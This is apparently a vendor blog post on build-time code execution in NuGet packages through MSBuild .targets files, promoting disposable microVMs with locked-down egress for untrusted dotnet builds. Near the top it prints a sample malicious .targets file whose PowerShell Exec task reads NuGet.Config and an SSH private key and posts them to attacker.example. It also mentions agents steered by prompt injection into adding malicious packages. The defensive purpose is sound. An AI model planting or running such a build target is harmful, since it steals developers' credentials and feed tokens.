all posts

Running dotnet restore and dotnet build on untrusted code in a microVM

Ajay Kumar··8 min read

You pull down a repo — a dependency an agent added to a .csproj, a PR from an outside contributor, a fork you're trying to build — and you run `dotnet restore` or `dotnet build`. It feels like a compile step. It isn't only that. NuGet packages can ship MSBuild `.targets` and `.props` files that get imported straight into your build, and MSBuild targets are just code: they can shell out, read files, and hit the network, and they run the moment the build touches them — during `restore` or `build`, not after you run the output binary. This post is about that gap: why `dotnet restore`/`dotnet build` on an untrusted repo is code execution on your build host, why lockfiles and lockdown flags don't fully close it, and the microVM pattern that lets you build anything without betting your CI or your workstation on it.

I'm Ajay — I built PandaStack, a Firecracker microVM platform for exactly this kind of untrusted execution. I'll be concrete about the threat and honest about where lockfiles and CI hardening help versus where you actually need an isolation boundary.

MSBuild targets are code execution, not metadata

The mental model that gets people hurt is "NuGet restore downloads DLLs, my app calls into them later." That's true for the managed assemblies themselves, but it's not the whole story. A NuGet package can carry a `build/<package>.targets` or `build/<package>.props` file, and MSBuild auto-imports those into the consuming project's build the moment the package is referenced and restored. A `.targets` file can define a `<Target>` with an `Exec` task, an inline `<Task>` written in C# that MSBuild compiles and runs on the spot, or a `BeforeTargets="Build"` hook that fires before your code even compiles. None of that requires you to run the output — it runs as part of getting the build to succeed at all. This is a known, well-documented NuGet supply-chain risk class: build-time code execution via package-supplied MSBuild logic, not a hypothetical.

<!-- build/innocent-looking-helper.targets, shipped inside the .nupkg -->
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="CollectEnvOnRestore" BeforeTargets="Build">
    <!-- Runs the moment this package is referenced and the project builds.
         No app code needs to execute; MSBuild does it for you. -->
    <Exec Command="powershell -NoProfile -Command &quot;$env:PATH; Get-ChildItem $env:USERPROFILE\.nuget\NuGet.Config, $env:USERPROFILE\.ssh\id_rsa -ErrorAction SilentlyContinue | Get-Content | Out-File $env:TEMP\x.txt; iwr -Method Post -Uri https://attacker.example/collect -InFile $env:TEMP\x.txt&quot;"
              ContinueOnError="true" />
  </Target>
</Project>

That's the whole shape of the attack, and the delivery mechanism is mundane: a package with a build-time target that reads your `NuGet.Config` (which can hold a private feed's auth token), your SSH key, your environment variables (where CI secrets and cloud credentials live), and ships them out — triggered by `dotnet restore` or `dotnet build`, before your program ever runs. It doesn't need to be the package you added directly, either.

  • Build-time MSBuild targets/props — a package's build/*.targets or build/*.props file is auto-imported into your build and can run Exec tasks, inline C# tasks, or hooks on BeforeTargets="Build"/"Restore". This fires during restore or build, before you ever run the output.
  • Compromised legitimate packages — a maintainer's NuGet API key leaks or an account gets phished, and a package you already trust ships a new version with a fresh build target. Your project file pinned a version range; a routine restore can still pull the new patch release.
  • Transitive reach — you reviewed your direct PackageReference; its transitive dependencies each also get to ship build-time targets, and any one node in that tree is enough.
  • Static analyzers and source generators — Roslyn analyzers and source generators shipped as NuGet packages run inside the compiler process itself during build, which is its own code-execution surface even when no explicit .targets file is involved.
"dotnet restore a NuGet package" can mean "run the package author's MSBuild logic as me, right now" — the same trust boundary as npm postinstall scripts or a Python package's setup.py, just less widely appreciated because C# developers reach for it less often. It's a documented feature of the packaging format, and that's exactly the surface a malicious package uses.

Why packages.lock.json and --locked-mode are not enough

The obvious hardening move is a committed `packages.lock.json` plus `dotnet restore --locked-mode`, which fails the build if the resolved graph drifts from what's locked. It's genuinely good practice and you should use it — but it doesn't make an untrusted repo safe to build, for two reasons.

First, it only protects a graph you already reviewed. It stops a *surprise* resolution change on your own project. It does nothing when the thing you're building is untrusted from the start — an agent-picked dependency, a stranger's fork with its own `packages.lock.json` that already pins a malicious package by name and hash. The lockfile faithfully reproduces exactly the build you don't want.

Second, locking the package graph doesn't touch the fact that restore still executes whatever MSBuild logic the locked packages ship. A locked-mode restore of a compromised package runs that package's `.targets` file just as eagerly as an unlocked one — lock mode verifies *which* packages you get, not *what code runs* once you have them. If the repository is genuinely untrusted, you still need a boundary around running its build at all, the same way `npm ci` doesn't make a hostile `postinstall` safe.

A lockfile answers "did I get the bytes I resolved." It does not answer "should MSBuild be allowed to execute those bytes on this host, with these credentials, right now." Only isolation answers the second question.

Why an agent, a PR, or a package-publish pipeline makes this sharply worse

A developer typing `dotnet add package Newtonsoft.Json` typed a name they meant. An AI coding agent picks package names from a token distribution and will confidently `dotnet add package` something that sounds right — `Newtonsoft.Json7`, `System.Text.Jsonn`, a plausible-looking internal-tooling name — and NuGet typosquatting of popular package names, betting on exactly this kind of fat-fingered or model-generated add, is an active abuse pattern on public package registries generally, NuGet included.

It compounds under prompt injection: if an agent reads a README, an issue, or a tool result an attacker controls, that text can steer it toward adding a specific malicious package before it ever gets to writing your feature. And it compounds in CI: a workflow that runs `dotnet restore` on an external contributor's pull request executes that PR's `.csproj`, its pinned package versions, and every package's build-time targets against your runner's environment — no merge, no approval, no maintainer review required first. A package-publishing pipeline that restores and builds a submitted NuGet package to validate it before pushing to your feed has the identical problem: the validation step is itself the exposure.

Why a shared build host or plain container is a weak boundary here

The next instinct is "run the build in a container." Better than bare metal, and fine for repos you trust — but for a genuinely untrusted restore/build it's a soft boundary. A container shares the host kernel; the MSBuild target's `Exec` task runs as a normal process against that shared kernel, and a kernel bug or a container-escape primitive puts it on the host and, on a shared CI fleet, into other tenants' builds. Providers moved untrusted workloads off plain containers onto microVMs or gVisor for exactly this reason — a shared kernel is a large surface for something you didn't audit.

There's a more mundane failure that catches more teams than a kernel exploit does: CI build containers are typically provisioned with precisely what a build-time target shouldn't see — a `NUGET_API_KEY` or private-feed PAT in the environment for publishing, cloud credentials for artifact upload, the Docker socket bind-mounted in, cloud metadata reachable at `169.254.169.254`. A malicious `.targets` file doesn't need to escape the container if it can just read `Environment.GetEnvironmentVariable` or shell out to `env` and POST the result. The common real leak is boring: ambient network plus an inherited secret sitting in the same process that just restored a package it shouldn't have trusted.

The options, ranked for untrusted restores and builds

Where you run an untrusted `dotnet restore`/`dotnet build`, from least to most contained:

  • Host dotnet CLI (your workstation or a shared CI runner) — no boundary at all. Build-time MSBuild targets run as you, see every secret in your environment, reach your NuGet.Config and SSH keys. Never do this on a project you didn't write and don't trust.
  • Host dotnet CLI with --locked-mode / a reviewed packages.lock.json — verifies the package graph didn't silently drift, but does nothing for a graph that was already malicious, and still executes every locked package's build-time targets. Good hygiene, not a boundary.
  • A container — real process isolation and decent hygiene, but a shared kernel plus, in most CI setups, ambient network and inherited credentials (feed tokens, Docker socket, cloud metadata). Fine for builds you trust; a soft boundary for someone else's repo.
  • A disposable microVM — restore and build run behind a hardware virtualization boundary with its own guest kernel, no host secrets present, and egress you control. If a package's build target is hostile, the blast radius is one VM you were going to delete anyway.
A committed lockfile with content hashes (packages.lock.json) is real defense-in-depth against a resolved version silently mutating underneath you. It just doesn't answer the question that matters for untrusted input: should this package's build-time code be allowed to run on this host at all. Isolation is the backstop; the lockfile is a useful earlier layer, same as package-lock.json is for npm.

The pattern: restore and build inside a disposable microVM

The durable shape has four properties: a hardware isolation boundary (a microVM with its own kernel, not a shared one), an ephemeral environment (fresh per build, destroyed after, so nothing persists forward), no host credentials in the guest, and controlled egress so a malicious target can't quietly phone home. On PandaStack you get the first two by construction and enforce the rest per sandbox. Here's the loop with the Python SDK — create a throwaway VM, write an untrusted project into it, run `dotnet restore && dotnet build` with its build-time MSBuild targets inside the guest, pull the build output back out, then destroy the VM:

from pandastack import Sandbox

# An untrusted repo's project file — an agent added the PackageReference,
# or it arrived in an external PR. A referenced package may ship a hostile
# build/*.targets file. We're going to restore and build it anyway, safely.
csproj = """
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Newtonsoft.Json" Version="13.0.3" />
  </ItemGroup>
</Project>
"""

# One disposable microVM for this restore + build. ttl reaps it if we crash.
with Sandbox.create(template="base", ttl_seconds=600) as sbx:
    sbx.filesystem.write("/workspace/app.csproj", csproj)
    sbx.filesystem.write("/workspace/Program.cs", "System.Console.WriteLine(\"hi\");")

    # `dotnet restore` imports every referenced package's build/*.targets
    # and build/*.props into this build RIGHT HERE, inside the guest
    # kernel, with no host secrets in the environment and egress locked
    # to the configured NuGet feed.
    r = sbx.exec(
        "cd /workspace && dotnet restore --locked-mode 2>&1 || dotnet restore",
        timeout_seconds=180,
    )
    if r.exit_code != 0:
        raise RuntimeError(f"restore failed / blocked:\n{r.stderr}")

    # Build (also runs third-party MSBuild logic) in the same contained VM.
    b = sbx.exec("cd /workspace && dotnet build -c Release -o out", timeout_seconds=300)
    print("build exit:", b.exit_code)

    # Pull the build output back through the API, not a host mount.
    binary = sbx.filesystem.read("/workspace/out/app.dll")
    with open("app.dll", "wb") as f:
        f.write(binary)
    print(f"pulled {len(binary)} bytes")
# VM and everything the restore/build did to it are gone here

If any referenced package had shipped the hostile `.targets` file from earlier, here's what it found when MSBuild ran it: no `~/.ssh/id_rsa`, no `NuGet.Config` with private-feed auth, no `NUGET_API_KEY` or cloud credentials in the process environment, no metadata endpoint reachable, and egress restricted so the exfil request never leaves the guest. Whatever it wrote to the filesystem dies when the `with` block exits. Worst case is a wasted sandbox — which is the point of making sandboxes cheap enough to throw away.

That cheapness is what makes per-build isolation practical instead of a nice idea you skip under deadline pressure. On PandaStack every create restores a baked snapshot on demand — p50 179ms, p99 ~203ms, with the snapshot-restore step itself around 49ms (a true first cold boot, before any snapshot exists, is roughly 3s). Spinning up a fresh VM for one `dotnet restore` you don't trust isn't a boot-time tax you dodge by reusing an environment across trust domains; it's fast enough to pay every time. If you want each build to start from an identical known-good base — your internal NuGet feed already configured, the right .NET SDK version already resolved — snapshot a configured sandbox once and fork it: a same-host fork is 400–750ms (cross-host 1.2–3.5s) and shares memory copy-on-write.

Getting the .NET SDK into the sandbox

PandaStack's `base` template resolves language runtimes on demand via mise, reading idiomatic version files (`.nvmrc`, `.python-version`, `.tool-versions`, `mise.toml`) that a repo already declares. .NET support in mise depends on its plugin ecosystem rather than being pre-warmed the way Node/Python/Go/Bun are on `base` today, so for heavy or repeated .NET workloads the more reliable path is a custom template with the .NET SDK baked in directly — build one from a Dockerfile that installs the SDK version(s) you need, publish it once, and every sandbox created from it boots with `dotnet` already on `PATH`, no install step (trusted or otherwise) required at build time. Either way, the isolation guarantee is the same: the untrusted project's restore and build still run inside a disposable, credential-free guest — only whether the SDK itself was pre-baked or resolved fresh changes.

Controlling egress so a build target can't phone home

Isolation contains a compromised guest; egress control decides whether it can talk out while contained. The tension is the same as any package ecosystem: `dotnet restore` needs to reach nuget.org (or your private feed), but a malicious build target wants to reach an attacker's server. You can't block all egress or the restore fails. The workable posture is default-deny with a narrow allowlist for your feed, so restore resolves but arbitrary code in a `.targets` file can't open a socket anywhere else.

  • Point NuGet.Config at a feed you control (a private proxy or an internal mirror of nuget.org) and allow egress only to that host — restore works, everything else is denied.
  • Deny the cloud metadata endpoint (169.254.169.254) unconditionally; nothing an untrusted package's build target has any business reaching it.
  • Keep the guest's outbound default-deny; open only what the build genuinely needs, per sandbox, and close it when the sandbox dies.
  • Assume DNS is an exfil channel too — a feed-only allowlist shuts down encoding a stolen NUGET_API_KEY into a hostname lookup.
A sandbox with open egress and an inherited NUGET_API_KEY or feed PAT defeats the whole exercise. The most common exfiltration path isn't a container escape — it's a build-time MSBuild target reading a credential that shouldn't have been in the environment and shipping it out over a network you left open. Lock both down together.

Extracting the build output without trusting what built it

The point of the build was usually to produce something — a published `bin/Release` folder, a NuGet package to re-publish, a container-ready binary. Get it out through the filesystem API, not a shared host mount, so the untrusted build never had a writable path into your host to begin with. Have the build write a known output directory, check the exit code, then `filesystem.read` the bytes back on the host side (as in the loop above). If you need the whole publish output, `zip` it inside the guest and read the single archive out.

Treat what comes out with appropriate suspicion, too — it was produced by code you didn't trust, and a build-time target could in principle have tampered with the compiled output itself, not just exfiltrated secrets. If that binary is headed to production or a package feed, run it (or a validation pass against it) in another sandbox rather than on a box that holds signing keys or publish credentials. The microVM contained the build; it doesn't launder the output into something automatically trustworthy. What it buys you is that the dangerous step — resolving and executing arbitrary third-party MSBuild logic — happened somewhere disposable, and only inert bytes crossed back to you.

Better: don't restore untrusted packages live when you can avoid it

The safest untrusted restore is the one you don't do at build time. For your own well-known dependencies, bake a custom template with the NuGet packages already restored from a `packages.lock.json` you audited (a warm `~/.nuget/packages` cache baked into the image), and skip the live restore entirely for packages you control. Most builds then reach for something already present, no untrusted restore fires, and there's no build-time target to worry about because you controlled what went into the image and when its build logic ran.

For the long tail — a repo whose dependencies genuinely aren't baked, or a package-publishing pipeline validating something arbitrary and new — you fall back to the pattern above: restore and build live, but inside the disposable, credential-free, egress-controlled VM, so the fallback is contained rather than dangerous. The two-tier posture — pre-baked for the common case, isolated live restore for the tail — is what lets you say yes to "the agent can add whatever NuGet package the task needs" or "we'll build any PR that comes in" without either being a synonym for "arbitrary MSBuild code runs as us, on our infrastructure, with our secrets nearby."

When is none of this necessary? If you fully control the project's dependency graph and it isn't agent- or contributor-influenced, a committed, hash-verified `dotnet restore --locked-mode` in a normal build environment is fine — don't spin up a VM to build a project you wrote and trust. The apparatus here is for the case that actually bites: a `.csproj` that arrived at build time, from a model or a stranger, possibly steered by an attacker. For that case, treat `dotnet restore`/`dotnet build` as the code execution it can be — MSBuild running arbitrary package-supplied logic is a documented feature, not a bug, and that's precisely why it needs a real boundary — run it in a VM you're happy to throw away, and let the blast radius be a sandbox instead of your build fleet.

Frequently asked questions

Does dotnet restore actually run code, or just download NuGet packages?

It can run code. NuGet packages can ship build/*.targets and build/*.props MSBuild files that are auto-imported into your build and can define targets with Exec tasks, inline compiled tasks, or hooks that fire BeforeTargets="Build" or during restore itself — as your user, with your environment, network, and credentials, before you ever run the compiled output. This is a documented NuGet supply-chain risk class: build-time code execution via package-supplied MSBuild logic, distinct from (and in addition to) the managed assemblies the package also delivers.

Doesn't a packages.lock.json with --locked-mode make this safe?

It closes a different gap. Locked-mode restore fails the build if the resolved package graph drifts from what's committed, which stops surprise version changes on a project you already reviewed. It does nothing for a project that's untrusted from the start — an agent-picked dependency or a stranger's fork can commit its own lockfile that already pins a malicious package by name and hash. And even a locked-mode restore still executes every locked package's build-time MSBuild targets; lock mode verifies which packages you get, not what code runs once you have them. Genuinely untrusted repos still need an isolation boundary.

Why is it riskier to let an AI agent or an external PR trigger dotnet build?

Because whoever chose the PackageReferences chose code that can run during your build. An LLM picks package names probabilistically and can add a plausible-sounding typosquat, a known abuse pattern on public package registries generally. Under prompt injection, attacker-controlled text (a README, an issue) can steer an agent into adding a specific malicious package. And CI that runs dotnet restore on an external contributor's PR executes that PR's pinned packages and their build-time MSBuild targets against your runner's environment — no merge or maintainer approval required first. Treat any restore triggered by untrusted input as potentially hostile.

Isn't a Docker container enough to sandbox an untrusted dotnet build?

For trusted repos, usually. For a genuinely untrusted restore/build it's a soft boundary: a container shares the host kernel, so a kernel bug or container escape can reach the host and other tenants' builds, and CI containers typically carry ambient network access plus inherited credentials (a NuGet feed token, a mounted Docker socket, cloud metadata) that a malicious build-time target can read and exfiltrate without ever needing to escape the container. A hardware-isolated microVM with its own guest kernel, no host secrets, and controlled egress is the stronger backstop — the same reasoning that moved untrusted workloads off plain containers industry-wide.

How do I safely run dotnet restore and dotnet build on untrusted code with PandaStack?

Create a disposable microVM with a ttl, write the untrusted .csproj and source into the guest, run dotnet restore && dotnet build inside it with a timeout, then pull the build output back through the filesystem API and delete the sandbox. The guest has no host secrets, egress is default-deny with a narrow allowlist to your NuGet feed, and everything the restore/build did dies with the VM. Because a create restores a baked snapshot in around 49ms (p50 179ms total), a fresh VM per build is practical; baking your audited dependencies and the .NET SDK into a custom template means most builds never need a live, untrusted restore at all.

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.